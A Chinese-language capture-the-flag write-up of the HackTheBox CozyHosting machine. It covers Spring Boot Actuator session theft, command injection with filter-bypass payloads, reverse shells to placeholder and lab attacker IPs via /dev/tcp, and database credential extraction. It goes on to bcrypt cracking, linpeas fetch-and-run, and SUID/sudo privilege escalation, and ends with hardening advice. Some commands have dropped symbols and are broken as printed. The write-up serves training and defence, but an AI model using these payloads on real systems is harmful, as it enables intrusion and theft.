SpringBoot Actuator安全漏洞与Linux提权实战:从Web渗透到Root权限获取
1. 项目概述从靶场到实战的渗透思维构建最近在复盘HTBHackTheBox平台的CozyHosting靶机这绝对是一个能让你把SpringBoot应用安全、SSH密钥滥用和数据库提权这些知识点串起来的绝佳案例。它不是那种一眼就能看到头的简单靶机而是需要你像侦探一样从信息收集开始一步步拼凑线索最终拿到root权限。整个过程充满了“原来如此”的顿悟时刻尤其是SpringBoot Actuator端点配置不当导致的敏感信息泄露以及后续利用数据库凭证进行横向移动和提权的链条非常贴近真实的生产环境场景。如果你正在准备安全面试或者想深化对Web应用和Linux系统渗透的理解这个靶场的复盘价值极高。简单来说CozyHosting模拟了一个提供虚拟主机服务的Web应用。我们的目标很明确从外部网络渗透进入拿到普通用户权限user flag最终提升到系统最高权限root flag。整个流程涉及Web漏洞利用、中间件安全、数据库渗透和Linux权限提升是一套完整的渗透测试迷你演练。接下来我会带你从头到尾拆解一遍不仅告诉你“怎么做”更重点分析“为什么能这么做”以及在实际操作中那些容易踩坑的细节。2. 信息收集与攻击面发现渗透测试的第一步永远是信息收集信息收集的广度和深度直接决定了后续攻击的成败。对于CozyHosting靶机我们需要像扫描一张未知的地图一样找出所有可能的入口和路径。2.1 端口扫描与服务识别拿到靶机IP后第一件事就是用Nmap进行端口扫描。这里不建议一上来就用-A这种激进的全扫描可能会触发警报。更稳妥的做法是分步进行# 快速扫描常见端口确认存活和基本服务 nmap -sS -T4 靶机IP # 针对发现的开放端口进行更详细的版本探测和服务识别 nmap -sV -sC -p 22,80,5555 靶机IP扫描结果通常会显示开放了22SSH、80HTTP和5555一个未知服务端口。80端口是Web应用的主入口自然是我们的首要目标。在浏览器中直接访问IP地址可能会发现它跳转到了一个域名比如cozyhosting.htb。这说明应用可能配置了虚拟主机Virtual Host我们需要修改本地的hosts文件将域名解析到靶机IP才能正常访问网站。注意在HTB这类环境中靶机域名通常是.htb后缀。在真实测试中子域名枚举和虚拟主机发现是重要环节工具如gobuster的vhost模式或ffuf可以派上用场。2.2 Web目录与敏感文件探测访问网站后是一个看起来挺“舒适”Cozy的主页。但渗透测试员不能只看表面。我们需要用目录爆破工具如gobuster、dirsearch或ffuf去发现隐藏的目录和文件。# 使用 dirsearch 进行目录扫描 dirsearch -u http://cozyhosting.htb -e php,html,js,txt,json,bak # 或者使用 gobuster gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/dirb/common.txt一个关键的发现往往是/actuator目录。如果你对SpringBoot熟悉会立刻警觉起来。SpringBoot Actuator提供了监控和管理应用的端点但如果配置不当如未授权访问、生产环境未禁用就会成为严重的安全漏洞。2.3 SpringBoot Actuator端点深入利用发现/actuator后要系统地检查其暴露的所有端点。常用的有/actuator/env: 显示应用环境变量可能包含数据库密码、API密钥等。/actuator/heapdump: 下载JVM堆转储文件可以用工具分析出内存中的敏感数据。/actuator/sessions: 如果使用Spring Session可能列出当前会话信息。/actuator/mappings: 显示所有URL映射。/actuator/health: 健康检查信息。在CozyHosting中访问/actuator/env可能会发现一些敏感信息被星号*脱敏了。这时不要轻易放弃可以尝试访问/actuator/heapdump下载堆转储文件。虽然靶场设计可能让此路不通但在真实场景中这是获取明文密码的“金矿”。你需要使用如Eclipse MAT或VisualVM等工具来分析heapdump文件搜索password、secret、key等关键词。然而在CozyHosting里更直接的突破口在/actuator/sessions。这个端点可能直接返回了当前有效的会话CookieJSESSIONID。这意味着你可以不用破解密码直接“变成”一个已登录的用户。实操心得遇到SpringBoot应用/actuator目录是必查项。即使部分信息脱敏也要尝试所有子端点。同时关注application.properties或application.yml配置文件是否通过其他路径泄露例如/config/application、/application.properties等。3. 漏洞利用从越权访问到命令注入拿到有效的JSESSIONID后我们可以将其替换到浏览器的Cookie中刷新页面很可能就直接进入了后台管理面板。这一步利用了会话固定或会话劫持的漏洞本质是应用对会话管理不当。3.1 后台功能分析与命令注入点定位进入后台后需要快速理解应用功能。CozyHosting的后台可能有一个“管理主机”或“执行SSH命令”的功能用于管理服务器。任何允许用户输入并传递给系统命令执行的地方都是命令注入Command Injection的潜在风险点。找到疑似输入点后比如一个输入框提示输入主机名或IP来执行SSH连接测试不要急于输入复杂的Payload。先进行基础测试基础分隔符测试输入127.0.0.1; whoami或127.0.0.1 whoami观察回显。时间盲注测试输入127.0.0.1 sleep 5观察响应是否延迟。DNS外带测试输入127.0.0.1 nslookup your-collaborator-domain.com利用DNS查询验证命令执行。在CozyHosting中你可能会发现直接注入; whoami会被拦截或过滤。这时需要尝试绕过技巧。3.2 命令注入绕过技巧实战常见的命令注入绕过方法包括空格绕过用${IFS}、%09制表符URL编码、、、{cmd,args}代替空格。黑名单关键字绕过用通配符/???/??t代替/bin/cat用变量拼接awho;bami;$a$b。编码绕过Base64编码、Hex编码命令然后在执行时解码。引号与反斜线利用复杂的引号嵌套和反斜线转义来破坏原有命令结构。在CozyHosting的案例中一个有效的Payload可能是这样的输入框127.0.0.1; echo${IFS}“Y2F0IC9ldGMvcGFzc3dk” | base64 -d | bash这个Payload做了以下几件事127.0.0.1;终止原有的SSH命令。echo${IFS}“Y2F0IC9ldGMvcGFzc3dk”使用${IFS}代替空格输出一个Base64字符串内容是cat /etc/passwd。| base64 -d | bash将输出通过管道传递给base64 -d解码再交给bash执行。如果应用过滤了空格和某些符号Base64编码是常用的有效绕过手段。你需要先在攻击机上编码好命令echo -n “cat /etc/passwd” | base64然后将输出的字符串填入Payload。3.3 稳定反向Shell的获取执行单条命令确认漏洞存在后下一步就是获取一个交互式的反向Shell以便进行更深入的操作。如果直接使用bash -i /dev/tcp/ATTACKER_IP/PORT 01这类经典Payload被过滤可以尝试多种变体方法一编码反向Shell# 将反向shell命令base64编码 echo -n “bash -i /dev/tcp/10.10.14.21/9999 01” | base64 # 注入Payload ; echo${IFS}“YmFzaCAtaSAJiAvZGV2L3RjcC8xMC4xMC4xNC4yMS85OTk5IDAJjE” | base64${IFS}-d | bash;方法二分段式反向Shell无Netcat情况这是一个更高级的技巧利用文件描述符重定向首先创建一个到攻击机的TCP连接并将其分配给文件描述符0标准输入。; (sh)0/dev/tcp/ATTACKER_IP/PORT然后将当前进程的标准输出(1)和标准错误(2)都重定向到文件描述符0即我们建立的TCP连接。exec 0 20最后启动一个交互式的bash。script /dev/null -c bash这种方法的优势在于不依赖/bin/bash的特定版本或netcat仅使用最基本的Shell和系统调用兼容性更强。注意事项在尝试反弹Shell前务必在攻击机上用nc -lvnp PORT启动监听。如果Shell不稳定输入无响应、容易断开可以尝试使用python3 -c ‘import pty; pty.spawn(“/bin/bash”)’或socat等工具进行TTY升级以获得更完善的交互体验支持su、sudo和vi等操作。4. 权限提升数据库渗透与横向移动拿到一个初始的Shell可能是www-data或app用户权限后我们进入了内网环境。下一步是信息收集寻找提权突破口。4.1 内部信息收集与JAR包分析在Shell中执行一些基础命令whoami id pwd ls -la find / -user $(whoami) -type f 2/dev/null | head -20 cat /etc/passwd env sudo -l # 如果当前用户有sudo权限的话在CozyHosting中你很可能在/app目录下发现一个Java应用的JAR包例如cloudhosting-0.0.1.jar。这就是靶场Web应用的背后程序。我们需要将其下载到攻击机进行分析。从靶机下载文件到攻击机攻击机开启HTTP服务python3 -m http.server 8000靶机使用wget或curl下载wget http://ATTACKER_IP:8000/cloudhosting-0.0.1.jar注意这里方向是反的我们需要从靶机“上传”到攻击机。更常见的做法是在攻击机用nc监听靶机用cat或tar管道发送。或者如果靶机有python可以在靶机临时开一个HTTP服务攻击机去下载。更简单的方式是直接在攻击机上用反编译工具分析JAR包。使用jd-gui、cfr或fernflowerIntelliJ IDEA内置进行反编译。# 使用fernflower反编译需要java环境 java -jar fernflower.jar cloudhosting-0.0.1.jar decompiled_output/反编译后在源代码中搜索关键词如password、jdbc、postgres、username、secret、apiKey。很快你会在配置文件如application.properties或某个Configuration类中找到数据库连接信息spring.datasource.urljdbc:postgresql://localhost:5432/cozyhosting spring.datasource.usernamepostgres spring.datasource.passwordVgnvzAQ7XxR4.2 数据库连接与凭证提取发现数据库密码后由于PostgreSQL服务端口5432运行在本地我们可以直接从获得的Shell连接它。psql -h localhost -U postgres -d cozyhosting输入找到的密码VgnvzAQ7XxR成功进入数据库。查看有哪些表\dt通常会看到users和hosts表。查看users表内容select * from users;输出可能类似name | password | role -------------------------------------------------------------------------------- kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin密码字段是BCrypt哈希格式。BCrypt是专为密码存储设计的慢哈希函数抗彩虹表能力强但并非不可破解。4.3 密码破解与用户切换我们可以尝试用john或hashcat来破解这些哈希。首先将哈希值保存到文件hash.txt中注意格式。# 对于john需要识别哈希类型 john --formatbcrypt hash.txt --wordlist/usr/share/wordlists/rockyou.txt # 或者使用hashcat hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt在实战中kanderson的哈希可能很难破解可能是个强密码或假用户。但admin的哈希结合强大的字典如rockyou.txt和足够的算力是有可能破解的。在CozyHosting靶场中破解出的密码可能是manchesterunited。然而尝试用admin和这个密码去SSH登录大概率会失败。为什么因为admin是应用层的用户不是系统用户。我们需要查看/etc/passwd文件确认系统上有哪些用户。cat /etc/passwd | grep -v “nologin” | grep -v “false”可能会发现用户有app、josh、postgres、root。那么破解出的密码很可能是系统用户josh的密码。尝试su - josh # 输入密码 manchesterunited或者直接SSH登录ssh josh靶机IP成功现在你拥有了一个权限更高的普通用户Shell并且可以在josh的家目录中找到user.txt拿到第一个flag。关键点分析这里体现了“横向移动”和“凭证复用”的思想。应用数据库中的密码可能被系统用户重复使用弱密码策略或习惯。从低权限的Web Shell通过数据库凭证过渡到更高权限的系统用户是内网渗透中非常经典的路径。5. 权限提升SUID滥用与最终Root获取拿到josh用户权限后我们的最终目标是root。需要再次进行深入的信息收集寻找提权向量。5.1 自动化信息收集脚本上传或下载像linpeas.sh、linenum.sh这样的Linux本地提权枚举脚本是非常高效的做法。# 在攻击机开启HTTP服务 python3 -m http.server 8000 # 在靶机josh用户shell下载并执行 wget http://ATTACKER_IP:8000/linpeas.sh chmod x linpeas.sh ./linpeas.sh这些脚本会自动化检查SUID/SGID文件寻找设置了SUID位且属主是root的可执行文件。sudo权限检查当前用户可以用sudo执行哪些命令。Cron计划任务查看是否有权限修改的定时任务。可写系统文件或路径如/etc/passwd、/etc/crontab、/etc/systemd/system等。环境变量检查PATH等是否包含可写目录。已安装的软件与服务寻找存在已知漏洞的版本。5.2 SUID滥用提权实战在CozyHosting靶场中linpeas很可能高亮提示了一个不常见的、设置了SUID位且属主为root的可执行文件。SUIDSet User ID位意味着当任何用户执行这个文件时它将以文件所有者这里是root的权限运行。如果这个程序本身存在漏洞或者其功能可以被滥用就可能实现提权。假设发现的可执行文件是/usr/bin/some_tool。第一步是了解这个工具的功能ls -la /usr/bin/some_tool /usr/bin/some_tool --help查看其帮助文档了解它能执行什么操作。然后去著名的GTFOBins网站https://gtfobins.github.io/搜索这个二进制文件名。GTFOBins整理了大量如何利用合法系统工具进行提权的方法。例如如果some_tool具有SUID权限并且GTFOBins显示它可以通过--exec或-c参数执行系统命令那么提权就非常简单/usr/bin/some_tool ‘/bin/bash -p’这里的-p参数告诉bash保留提升的权限SUID。执行后你就会获得一个root权限的bash shell。5.3 其他提权路径的思考如果SUID路径不通linpeas还可能提示其他向量sudo权限如果sudo -l显示josh用户可以以root身份无需密码运行某个命令如/usr/bin/vi、/usr/bin/python3那么可以直接利用该命令启动root shell。sudo vi -c ‘:!/bin/bash’ sudo python3 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’Cron Job提权检查/etc/crontab和/var/spool/cron/crontabs/看是否有以root身份运行的脚本且该脚本当前用户有写入权限。如果有可以修改脚本内容插入反向Shell命令。内核漏洞如果系统内核版本较旧可能存在公开的本地提权漏洞。可以用uname -a查看内核版本然后用searchsploit或Google搜索对应版本的Exploit。这是最后的手段因为可能造成系统不稳定。在CozyHosting中通过SUID滥用成功提权到root后就可以在/root目录下找到最终的root.txtflag完成整个靶场的挑战。6. 防御措施与安全加固建议复盘攻击路径是为了更好地防御。针对CozyHosting暴露出的问题我们可以为开发者和运维人员总结出一份安全加固清单1. SpringBoot应用安全生产环境禁用或严格保护Actuator端点在application.properties中设置management.endpoints.web.exposure.include为空或仅包含health、info等非敏感端点。务必为Actuator启用独立的、强认证的访问控制。避免敏感信息硬编码数据库密码、API密钥等应使用环境变量或配置中心如Vault管理而不是写在配置文件中。及时更新依赖定期检查并更新SpringBoot及其组件版本修复已知漏洞。2. 输入验证与命令执行绝对避免直接拼接用户输入到系统命令使用安全的API替代系统调用。如必须执行命令应使用白名单严格过滤输入或使用参数化调用如Java的ProcessBuilder并传递参数数组。实施最小权限原则运行Web应用的进程如Tomcat应使用非root的专用低权限用户。3. 数据库安全使用强密码并定期更换避免使用默认密码或弱密码。限制数据库网络访问PostgreSQL应只监听本地回环地址127.0.0.1而非0.0.0.0。使用防火墙规则限制访问源IP。实施最小权限应用使用的数据库账户应只有其业务所需的最小权限SELECT, INSERT, UPDATE等不应拥有CREATE USER、SUPERUSER等高级权限。4. 系统与权限管理避免密码复用系统用户密码不应与应用数据库密码相同。定期审计SUID/SGID文件使用命令find / -perm -4000 -type f 2/dev/null或find / -perm -2000 -type f 2/dev/null定期检查移除非必要的SUID/SGID位。谨慎配置sudo权限定期审查/etc/sudoers文件确保用户只能以sudo运行必要的命令并考虑启用密码认证。保持系统与软件更新及时安装安全补丁。整个CozyHosting靶场的渗透路径清晰展示了“外部突破 - 内部信息收集 - 横向移动 - 权限提升”的经典流程。它强有力地证明了一个看似微小的配置疏忽Actuator未授权访问如何与不安全的编码实践命令注入、薄弱的口令管理密码复用以及不当的系统配置SUID滥用相结合最终导致整个系统被完全攻陷。对于防御方而言安全是一个整体任何一环的缺失都可能成为突破口。对于攻击方或渗透测试方而言则需要保持耐心、细致和系统性的思维不放过任何一条线索像拼图一样将碎片信息组合成完整的攻击链。